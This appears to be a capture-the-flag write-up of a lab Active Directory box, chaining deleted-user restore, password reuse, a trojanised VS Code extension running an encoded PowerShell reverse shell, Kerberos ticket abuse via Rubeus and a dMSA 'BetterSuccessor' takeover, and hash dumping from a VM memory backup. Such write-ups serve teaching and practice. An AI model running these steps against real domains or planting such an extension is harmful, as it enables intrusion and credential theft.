Reconnaissance

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-06-14 02:04:39Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49687/tcp open  msrpc         Microsoft Windows RPC
49707/tcp open  msrpc         Microsoft Windows RPC
49712/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: 7h00m04s
| smb2-time:
|   date: 2026-06-14T02:05:29
|_  start_date: N/A

Based on the open ports DC01 is the Domain Controller for the checkpoint.htb domain, so I add those names to my /etc/hosts file.

Initial Access

As is common in real life pentests, you will start the Checkpoint box with credentials for the following account alex.turner / Checkpoint2024!

Privilege Escalation

Access as mark.davies

I first use bloodyad to find all objects that alex.turner can write to. This shows a deleted user called Mark Davies.

$ bloodyad --host dc01.checkpoint.htb \
           -u 'alex.turner' \
           -p 'Checkpoint2024!' \
           get writable
 
distinguishedName: CN=Deleted Objects,DC=checkpoint,DC=htb
DACL: WRITE
 
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb
permission: WRITE
 
distinguishedName: OU=Employees,DC=checkpoint,DC=htb
permission: CREATE_CHILD
 
distinguishedName: CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb
permission: WRITE
 
distinguishedName: CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb
permission: WRITE
 
distinguishedName: DC=checkpoint.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD
 
distinguishedName: DC=_msdcs.checkpoint.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD

Also with bloodyad I restore the deleted user back to its old glory, but my current privileges do not allow me to reset the password.

$ bloodyad --host dc01.checkpoint.htb \
           -u 'alex.turner' \
           -p 'Checkpoint2024!' \
           set restore 'CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb'
[+] CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb

What do to if one does not know the password? Check for password reuse and this time it’s successful as Checkpoint2024! also works for mark.davies.

$ nxc smb dc01.checkpoint.htb -u 'mark.davies' \
                              -p 'Checkpoint2024!' \
                              --shares
SMB         10.129.17.89    445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.17.89    445    DC01             [+] checkpoint.htb\mark.davies:Checkpoint2024! 
SMB         10.129.17.89    445    DC01             [*] Enumerated shares
SMB         10.129.17.89    445    DC01             Share           Permissions            Remark
SMB         10.129.17.89    445    DC01             -----           -----------            ------
SMB         10.129.17.89    445    DC01             ADMIN$                                 Remote Admin
SMB         10.129.17.89    445    DC01             C$                                     Default share
SMB         10.129.17.89    445    DC01             DevDrop         READ,WRITE             VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
SMB         10.129.17.89    445    DC01             IPC$            READ                   Remote IPC
SMB         10.129.17.89    445    DC01             NETLOGON        READ                   Logon server share 
SMB         10.129.17.89    445    DC01             SYSVOL          READ                   Logon server share 
SMB         10.129.17.89    445    DC01             VMBackups

Shell as ryan.brooks

Access to the new user also comes with write privileges to the DevDrop SMB share. According to its description it hosts VS Code extensions in .vsix format. The share is empty but users might install approved packages from there, so there’s a chance someone might load the one I can put there.

The necessary files for a new extension can be generated with yo1 after installing node. After providing some info, like the language to use, it writes the necessary stubs to the local directory.

$ npx --package yo --package generator-code -- yo code
Need to install the following packages:
yo@7.0.1
generator-code@1.11.18
Ok to proceed? (y) y
npm warn deprecated boolean@3.2.0: Package no longer supported. Contact Support at https://www.npmjs.com/support for more info.
 
     _-----_     ╭──────────────────────────╮
    |       |    │   Welcome to the Visual  │
    |--(o)--|    │   Studio Code Extension  │
   `---------´   │        generator!        │
    ( _´U`_ )    ╰──────────────────────────╯
    /___A___\   /
     |  ~  |
   __'.___.'__
 ´   `  |° ´ Y `
 
`list` prompt is deprecated. Use `select` prompt instead.
✔ What type of extension do you want to create? New Extension (JavaScript)
✔ What's the name of your extension? revshell
✔ What's the identifier of your extension? revshell
✔ What's the description of your extension? revshell
✔ Enable JavaScript type checking in 'jsconfig.json'? No
✔ Initialize a git repository? No
`list` prompt is deprecated. Use `select` prompt instead.
✔ Which package manager to use? npm
 
Writing in revshell...
   create revshell/.vscode/extensions.json
   create revshell/.vscode/launch.json
   create revshell/test/extension.test.js
   create revshell/.vscodeignore
   create revshell/README.md
   create revshell/CHANGELOG.md
   create revshell/vsc-extension-quickstart.md
   create revshell/jsconfig.json
   create revshell/extension.js
   create revshell/package.json
   create revshell/.vscode-test.mjs
   create revshell/eslint.config.mjs

I then remove all the HTTP links from README.md before packaging the contents, otherwise the command fails2. This does create a VSIX file that I could publish to the marketplace.

$ npx --package vscode --package vsce -- vsce package
 WARNING  A 'repository' field is missing from the 'package.json' manifest file.
Do you want to continue? [y/N] y
 WARNING  LICENSE.md, LICENSE.txt or LICENSE not found
Do you want to continue? [y/N] y
 DONE  Packaged: revshell-0.0.1.vsix (6 files, 2.56KB)

A packaged extension is just another ZIP file with a few files inside. I want to place my malicious payload inside and therefore I extract the contents.

$ unzip -l revshell-0.0.1.vsix
Archive:  revshell-0.0.1.vsix
  Length      Date    Time    Name
---------  ---------- -----   ----
     1650  2026-06-14 18:35   extension.vsixmanifest
      359  2026-06-14 18:35   [Content_Types].xml
      235  2026-06-14 18:35   extension/CHANGELOG.md
     1308  2026-06-14 17:31   extension/extension.js
      677  2026-06-14 17:31   extension/package.json
        4  2026-06-14 18:35   extension/README.md
---------                     -------
     4233                     6 files

I remove the README.md and CHANGELOG.md as they are not really needed and their references in extension.vsixmanifest to get a minimal example.

extension.vsixmanifest
<?xml version="1.0" encoding="utf-8"?>
        <PackageManifest Version="2.0.0" xmlns="http://schemas.microsoft.com/developer/vsx-schema/2011" xmlns:d="http://schemas.microsoft.com/developer/vsx-schema-design/2011">
                <Metadata>
                        <Identity Language="en-US" Id="revshell" Version="0.0.1" Publisher="undefined" />
                        <DisplayName>revshell</DisplayName>
                        <Description xml:space="preserve">revshell</Description>
                        <Tags></Tags>
                        <Categories>Other</Categories>
                        <GalleryFlags>Public</GalleryFlags>
                        <Properties>
                                <Property Id="Microsoft.VisualStudio.Code.Engine" Value="^1.120.0" />
                                <Property Id="Microsoft.VisualStudio.Code.ExtensionDependencies" Value="" />
                                <Property Id="Microsoft.VisualStudio.Code.ExtensionPack" Value="" />
                                <Property Id="Microsoft.VisualStudio.Code.ExtensionKind" Value="workspace" />
                                <Property Id="Microsoft.VisualStudio.Code.LocalizedLanguages" Value="" />
                                <Property Id="Microsoft.VisualStudio.Services.GitHubFlavoredMarkdown" Value="true" />
                                <Property Id="Microsoft.VisualStudio.Services.Content.Pricing" Value="Free"/>
                        </Properties>
                </Metadata>
                <Installation>
                        <InstallationTarget Id="Microsoft.VisualStudio.Code"/>
                </Installation>
                <Dependencies/>
                <Assets>
                        <Asset Type="Microsoft.VisualStudio.Code.Manifest" Path="extension/package.json" Addressable="true" />
                </Assets>
        </PackageManifest>

Then within extensions/extension.js I add another require to execute code and place my reverse shell payload into the activate function3.

extensions/extension.js
const vscode = require('vscode');
const { exec } = require('child_process');
 
function activate(context) {
    console.log('Congratulations, your extension "revshell" is now active!');
    exec('powershell -e <BASE64>');
}
 
function deactivate() {}
 
module.exports = {
        activate,
        deactivate
}

Last I strip the extensions/package.json to a bare minimum. After setting the vscode engine to ^1.118.0 based on the SMB share description and using * as wildcard for the activationEvents to run on any event4, I zip the folder once again.

extensions/package.json
{
  "name": "revshell",
  "displayName": "revshell",
  "description": "revshell",
  "version": "0.0.1",
  "engines": {
    "vscode": "^1.118.0"
  },
  "activationEvents": ["*"],
  "main": "./extension.js"
}

Now I upload the VSIX file to the SMB share DevDrop and wait until I get a callback as ryan.brooks and access to the first flag.

$ zip -r ryuki.vsix .
  adding: [Content_Types].xml (deflated 46%)
  adding: extension/ (stored 0%)
  adding: extension/extension.js (deflated 53%)
  adding: extension/package.json (deflated 36%)
  adding: extension.vsixmanifest (deflated 62%)
 
$ unzip -l ryuki.vsix
Archive:  ryuki.vsix
  Length      Date    Time    Name
---------  ---------- -----   ----
      359  2026-06-14 18:35   [Content_Types].xml
        0  2026-06-14 19:20   extension/
     1619  2026-06-14 19:18   extension/extension.js
      204  2026-06-14 19:20   extension/package.json
     1363  2026-06-14 19:13   extension.vsixmanifest
---------                     -------
     3545                     5 files

Shell as svc_deploy

In order to enumerate the Domain Controller from my own host, I get a TGT with Rubeus through a fake delegation as I don’t know the password for the account.

PS > .\Rubeus.exe tgtdeleg /nowrap
 
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/
 
  v2.3.3
 
 
[*] Action: Request Fake Delegation TGT (current user)
 
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC01.checkpoint.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: PLq2bwlVEUp7ohyzX+6bYgoEDVOV9/qenZLdgqe4B9Q=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
    
    doIF1DCCBdCgAw<SNIP>

Then I decode it from base64 and convert it via ticketConverter from impacket. This allows me to use any other tool in the context of ryan.brooks.

$ base64 -d <<< "$BASE64" > ticket.kirbi
 
$ impacket-ticketConverter ticket.kirbi ticket.ccache
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
 
[*] converting kirbi to ccache...
[+] done
 
$ export KRB5CCNAME=ticket.ccache

Once again I enumerate all the objects that my current context can modify. Since working with Kerberos authentication now, I have to adjust my time to the DC. It uncovers write privileges to svc_deploy and the DMSAHolder organisational unit.

$ faketime -f +7h bloodyad --host dc01.checkpoint.htb \
                           -d checkpoint.htb \
                           -k get \
                           writable
 
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb
permission: WRITE
 
distinguishedName: OU=DMSAHolder,DC=checkpoint,DC=htb
permission: CREATE_CHILD
 
distinguishedName: CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
permission: WRITE
 
distinguishedName: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
permission: WRITE
 
--- SNIP ---

Since I can create children in the DMSAHolder OU, BadSuccessor comes in mind. The host is running Server 2025 and that’s when delegated Managed Service Accounts (dMSA) were introduced. I previously exploited this in Eighteen, but here the host is running a patched version (after 26100-4946) and I have to resort to BetterSuccessor5.

It’s close to the original bug but requires modification of the account one wants to take over by setting msDS-SupersededManagedAccountLink and msDS-ManagedAccountPrecededByLink. The latest version of SharpSuccessor automatically does that as long as the required privileges are present.

PS > .\SharpSuccessor.exe add /impersonate:svc_deploy /path:"OU=DMSAHolder,DC=checkpoint,DC=htb" /account:ryan.brooks /name:attacker_dMSA
   _____ _                      _____                                        
  / ____| |                    / ____|                                       
 | (___ | |__   __ _ _ __ _ __| (___  _   _  ___ ___ ___  ___ ___  ___  _ __ 
  \___ \| '_ \ / _` | '__| '_ \\___ \| | | |/ __/ __/ _ \/ __/ __|/ _ \| '__|
  ____) | | | | (_| | |  | |_) |___) | |_| | (_| (_|  __/\__ \__ \ (_) | |   
 |_____/|_| |_|\__,_|_|  | .__/_____/ \__,_|\___\___\___||___/___/\___/|_|   
                         | |                                                 
                         |_|                                                 
@_logangoins
 
[+] Adding dnshostname attacker_dMSA.checkpoint.htb
[+] Adding samaccountname attacker_dMSA$
[+] svc_deploy's DN identified
[+] Attempting to write msDS-ManagedAccountPrecededByLink
[+] Wrote attribute successfully
[+] Attempting to write msDS-DelegatedMSAState attribute
[+] Attempting to set access rights on the dMSA object
[+] Attempting to write msDS-SupportedEncryptionTypes attribute
[+] Attempting to write userAccountControl attribute
[+] Created dMSA object 'CN=attacker_dMSA' in 'OU=DMSAHolder,DC=checkpoint,DC=htb'
[+] Successfully weaponized dMSA object
[+] Found target account, attempting to write attributes
[+] CN=attacker_dMSA,OU=DMSAHolder,DC=checkpoint,DC=htb written to svc_deploy object
[+] msDS-SupersededServiceAccountState set to 2
[+] Wrote to target account successfully

Now I request another TGT for ryan.brooks and use it to ask for a TGS impersonating the svc_deploy account.

PS > .\Rubeus.exe tgtdeleg /nowrap
   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/
 
  v2.3.3 
 
 
[*] Action: Request Fake Delegation TGT (current user)
 
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC01.checkpoint.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: PLq2bwlVEUp7ohyzX+6bYgoEDVOV9/qenZLdgqe4B9Q=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
 
      doIF1DCCBdCgA<SNIP>
 
PS > .\Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/checkpoint.htb /opsec /dmsa /nowrap /ptt /ticket:doIF1DCCBdCgA<SNIP>
   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/
 
  v2.3.3 
 
[*] Action: Ask TGS
 
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building DMSA TGS-REQ request for 'attacker_dmsa$' from 'ryan.brooks'
[+] Sequence number is: 1270556412
[*] Using domain controller: DC01.checkpoint.htb (fe80::e214:45a8:9548:bb88%5)
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):
 
      doIF+jCCBfagAw<SNIP>
 
  ServiceName              :  krbtgt/CHECKPOINT.HTB
  ServiceRealm             :  CHECKPOINT.HTB
  UserName                 :  attacker_dmsa$ (NT_PRINCIPAL)
  UserRealm                :  checkpoint.htb
  StartTime                :  6/14/2026 6:17:29 PM
  EndTime                  :  6/14/2026 6:32:29 PM
  RenewTill                :  6/21/2026 5:52:27 PM
  Flags                    :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  /6Jz6srn9Re234PToBzn9uw52cmXIX60Lnh7buvJyS4=
  Current Keys for attacker_dmsa$: (aes256_cts_hmac_sha1) 4DF49173789742BF3B3F81CABA14DA148F336C34C439A31DC3FF16D82BC8CA48

As done just a few minutes ago I convert the ticket again and then use it to connect via evil-winrm-py as the attacker_dmsa$ account, impersonatingsvc_deploy as that user is in the Remote Management Users group.

Shell as Administrator

Another group the svc_deploy user is part of is BackupAccess, so there’s a chance this allows access to the VMBackups share. There I do find a backup of a virtual machine from a nightly run in late 2024.

$ faketime -f +7h impacket-smbclient -k -no-pass dc01.checkpoint.htb
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
 
Type help for list of commands
# use VMBackups
 
# ls
drw-rw-rw-          0  Wed May 13 15:58:05 2026 .
drw-rw-rw-          0  Sat May  9 16:42:27 2026 ..
drw-rw-rw-          0  Wed May 13 15:58:18 2026 NightlyBackup_2024-11-01
 
# cd NightlyBackup_2024-11-01
 
# ls
drw-rw-rw-          0  Wed May 13 15:58:18 2026 .
drw-rw-rw-          0  Wed May 13 15:58:05 2026 ..
drw-rw-rw-          0  Wed May 13 15:58:18 2026 memory forensics
 
# cd memory forensics
 
# ls
drw-rw-rw-          0  Wed May 13 15:58:18 2026 .
drw-rw-rw-          0  Wed May 13 15:58:18 2026 ..
-rw-rw-rw-  106496000  Wed May 13 15:58:18 2026 Windows Server 2019-000001.vmdk
-rw-rw-rw- 2147483648  Wed May 13 15:58:18 2026 Windows Server 2019-Snapshot1.vmem
-rw-rw-rw-  138164859  Fri May 15 00:32:32 2026 Windows Server 2019-Snapshot1.vmsn
-rw-rw-rw-     270840  Wed May 13 15:58:18 2026 Windows Server 2019.nvram
-rw-rw-rw-       7642  Wed May 13 15:58:18 2026 Windows Server 2019.scoreboard
-rw-rw-rw- 10199695360  Wed May 13 15:58:18 2026 Windows Server 2019.vmdk
-rw-rw-rw-        502  Wed May 13 15:58:18 2026 Windows Server 2019.vmsd
-rw-rw-rw-       2749  Wed May 13 15:58:18 2026 Windows Server 2019.vmx
-rw-rw-rw-        274  Wed May 13 15:58:18 2026 Windows Server 2019.vmxf

The sub directory hosting the files is labeled memory forensics and this might be a backup prior to the upgrade to version 2025. If that’s the case the credentials might still be valid, so I download Windows Server 2019-Snapshot1.vmem and Windows Server 2019-Snapshot1.vmsn.

Then I extract all the hashes with volatility3 and try whether the Administrator hash is still valid. This is successful and I can use it to get an interactive session on DC01.

$ vol -f Windows\ Server\ 2019-Snapshot1.vmem windows.hashdump
Volatility 3 Framework 2.28.1
 
User    rid     lmhash  nthash
Administrator   500     aad3b435b51404eeaad3b435b51404ee        f29e9c014295b9b32139b09a2790be3b
Guest   501     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount  503     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount      504     aad3b435b51404eeaad3b435b51404ee        28f8d934dee90b2ec824351cb0844479

Attack Path

flowchart TD

subgraph "Privilege Escalation"
    A(Access as alex.turner) -->|Restore deleted object| B(User mark.davies restored)
    B -->|Password Reuse| C(Access as mark.davies)
    C -->|SMB| D(Write access to DevDrop)
    D -->|Place malicious VS Code extension| E(Shell as ryan.brooks)
    E -->|BetterSuccessor| F(Shell as svc_deploy)
    F -->|Access to VM backups| G(Memory Image)
    G -->|Volatility to dump hashes| H(Shell as Administrator)
end

Footnotes

  1. Your First Extension ↩

  2. Publishing extensions ↩

  3. VSCode Extensions enable arbitrary remote code execution via exec() ↩

  4. Activation Events ↩

  5. BetterSuccessor ↩